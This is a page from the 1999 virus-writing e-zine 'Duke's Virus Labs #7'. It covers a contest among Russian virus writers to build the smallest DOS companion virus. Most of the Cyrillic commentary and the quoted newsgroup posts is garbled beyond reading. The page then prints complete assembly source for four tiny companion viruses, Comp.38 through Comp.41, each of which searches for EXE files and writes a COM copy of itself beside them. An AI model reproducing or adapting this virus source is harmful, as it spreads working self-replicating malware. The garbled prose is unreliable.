- [Duke's Virus Labs #7] - [Page 24] -

Companion.38,39,40,41
(c) by Duke/SMF


    ७樨 RELCOM.COMP.VIRUS  । '99 ஢ 
 ᠬ 쪨 쮭 .   RedArc, ᫠ ᢮
 Comp.66.   諠 ᯫ譠 ⨬.  ⢮
 ᮢᥬ : RedArc, Vovochka, Sassa, DrMad. ⠫ 
ᮧ栫 ந室饥  । ஢ . ந᪨ ᨫﬨ
Vovochk'  Sassa' ࠧ 쮭  ᢥ  43  (2 ᨨ).
  ⮬ ...
   訫    ᥡ, .. ᮯ⨬஢ 43- . 
⪨ 㢥砫 ᯥ宬 -  ᮧ Comp.41.
   ᪮  Read-Only   ७,  訫  RedArc'
᫠   . 뫥  ୥, ⨫ ࠭,   -
,  - ⪠ ⨫ . 쬮 ⠫ ࠢ.  㣮
  ⥬ ⥯ "⨬樨" ᮧ  Comp.40,39,38.
  ᠫ  쬮  RedArc'    祬 㢥७,  㣨 㦥
  ⨦   ६.   - 뫮 !  ᠢ
(᮫⭮) 祣 ,  ᯥ訫  ⮣, ਧ 묨
2   43 .    ६ 㣨 ᪨ .
 㦤 ⠪ : ᫨  ⢥ 祣  ᠫ,   㣨 
.   ! ,  , . (   -
쮭   ᮪  35 .    ᯮ ⥫
 ;-P )

 ᮡ⢥ ९᪠  RELCOM.COMP.VIRUS ,   ᮢ.
25 ᫠ RedArc -⠪ ᫠    :

=== Cut ===
From: redarc@oitsp.tsu.tula.ru
Newsgroups: relcom.comp.virus
Subject: 
Date: 25 May 1999 08:07:11 GMT

ਢ!

뢠,      ਭ   
- ⮣,  ७    Read Only. ...
  ᪮쪮 ४म  .

RedArc

section 1 of 1 of file Comp38.zip    -={ UUE 1.06, ARA (C) 1995 }=-
[ ᪨ Duke ]
=== Cut ===

    ⥯ ॠ ⭨ :

=== Cut ===
From: "Sassa" <sassa@apiary.sumy.ua>
Newsgroups: relcom.comp.virus
Subject: Re: 
Date: Tue, 25 May 1999 19:17:53 +0200



> ਢ!

> 뢠,      ਭ   
> - ⮣,  ७    Read Only. ...
>   ᪮쪮 ४म  .

> RedArc

> section 1 of 1 of file Comp38.zip    -={ UUE 1.06, ARA (C) 1995 }=-

,   2   쭨砫 ;(

 1  - , ⠪ ᨫ...

 comp38... ,  㦥  :))))

--
   Sassa

Apiary Inc.
  ______
@()(_)
/\\

sassa@apiary.sumy.ua
=== Cut ===

    祬   ?  祬 楯 ? 訢 :     
c⨬஢ ⠪ ?  ⨣ ॡ㥬 १ : ᮪饭 ࠧ
 ࠭ ࠡᯮᮡ.     ॠ  Comp.38, 
ன . ࠭  २⢠  Comp.43 by Vovochka.

=== Cut ===
From: "Vovochka" <vovochka@kirov.elektra.ru>
Newsgroups: relcom.comp.virus
Subject: Re: 
Date: Wed, 26 May 1999 09:06:58 +0400


redarc@oitsp.tsu.tula.ru   ᮮ饭 <7idlnf$ddo@mpeks.tomsk.su> ...
>ਢ!
>
>뢠,      ਭ   
>- ⮣,  ७    Read Only. ...
>  ᪮쪮 ४म  .
>
>RedArc


      C.38     ਭ樯  ࠡᯮᮡ ;-)))
(     exe'譨,   ⢨
 PSP   DTA ᨬ 2Eh '.').

    Vovochka.
=== Cut ===

    ,  ᠬ ४ᬥ ਧ,    ࠡ⠥ :))
  ⥭   ⥫, ⥬   ࠤ   
祬 ᮬ⥫쭠.   ᪠,   쭥襬 "訬 ⥢
"  ⮨ ८業 ᥡ  業 㣨.
   ᥭ  Admin' : "㦥  ⠥ ᥡ ⥫  ⮬
 ?".  祬    ?      ᥡ நࠢ訬, :)
  襫   ...
    ᪠    .   EXE-䠩 ⥪饣
⠫. ᫨     COM-䠩,  ᮧ  COM-䠩
 ⥫ .  ⢠...

===== begin comp41.asm =====
.Model Tiny
.code
.386
org 100h
start:
E_Mask db '*.e*'
       mov  di,9eh
       xchg cx,ax              ;cx=0
       mov  ah,4eh
NewFile:
       mov dx,si
       int 21h
;       jnb TestFile           ;FD :       ஢ ???
;@Exit:                        ;FD : ᫨ 䠩  - ࠧ !
;       ret                    ;FD :     㤠  ;-)

TestFile:
       mov dx,di
       mov ax,5b2eh
@1:
       scasb
       jne @1
       mov dword ptr [di],' moc'
@2:
       int 21h
       jc @Exit          ;㩤  室  ࠢ ୮ ᪠ 
       xchg bx,ax
       mov ah,40h
       mov cl,MyLength
;@3:                           ;FD :    -
       jmp short NewFile
@Exit:                         ;FD : ᠬ  :)
       ret                     ;
;---
MyLength equ $-start
end start
===== end   comp41.asm =====

===== begin comp40.asm =====
.Model Tiny
.code
.386
org 100h
start:
E_Mask db '*.e*'
       mov  di,9eh
       xchg cx,ax              ;cx=0
       mov  ah,4eh

       CALL NewFile

NewFile:
       push si
       pop dx                  ;       mov dx,si
       int 21h

;TestFile:
       mov dx,di
       mov ax,5b2eh
@1:
       scasb
       jne @1
       mov dword ptr [di],' moc'
       int 21h
;       jc @Exit               ; ਤ ६  ࠢ ᠬ 멤 ;-))
       xchg bx,ax
       mov ah,40h
       mov cl,MyLength
;@Exit:
       ret
;---
MyLength equ $-start
end start
===== end   comp40.asm =====

===== begin comp39.asm =====
.Model Tiny
.code
.386
org 100h
start:
E_Mask db '*.e*'
;       mov  di,9eh
       xchg cx,ax         ;cx=0
       mov  ah,4eh

       CALL NewFile       ;⠪  뢠 ret 

NewFile:
       mov dx,si
       int 21h

;TestFile:
;       mov dx,di
       mov dx,9eh         ;FD : ࠧ 嫨 
       mov ax,5b2eh
@1:
       scasb
       jne @1
       mov dword ptr [di],' moc'
       int 21h
;       jc @Exit          ;FD :  ਤ ६  ࠢ ᠬ 멤 ;-))
       xchg bx,ax
       mov ah,40h
       add cl,MyLength    ;FD :  祣    ADD 㫮 ???
;@Exit:
       ret
;---
MyLength equ $-start
end start
===== end   comp39.asm =====

===== begin comp38.asm =====
;  稫   ⨬ ADD,  ...
;  ࠢ !

.Model Tiny
.code
.386
org 100h
start:
E_Mask db '*.e*'
;       mov  di,9eh
       xchg cx,ax              ;cx=0
       mov  ah,4eh

       CALL NewFile

NewFile:
       mov dx,si
       int 21h

;TestFile:
;       mov dx,di
       mov dx,9eh         ;FD : ࠧ 嫨 
       mov ax,5b2eh
@1:
       scasb
       jne @1
       mov dword ptr [di],' moc'
       int 21h
;       jc @Exit          ;FD :  ਤ ६  ࠢ ᠬ 멤 ;-))
       xchg bx,ax
       mov ah,40h
       mov cl,MyLength    ;FD :     ࠭ ADD ᯮ짮 ???
;@Exit:
       ret
;---
MyLength equ $-start
end start
===== end   comp38.asm =====
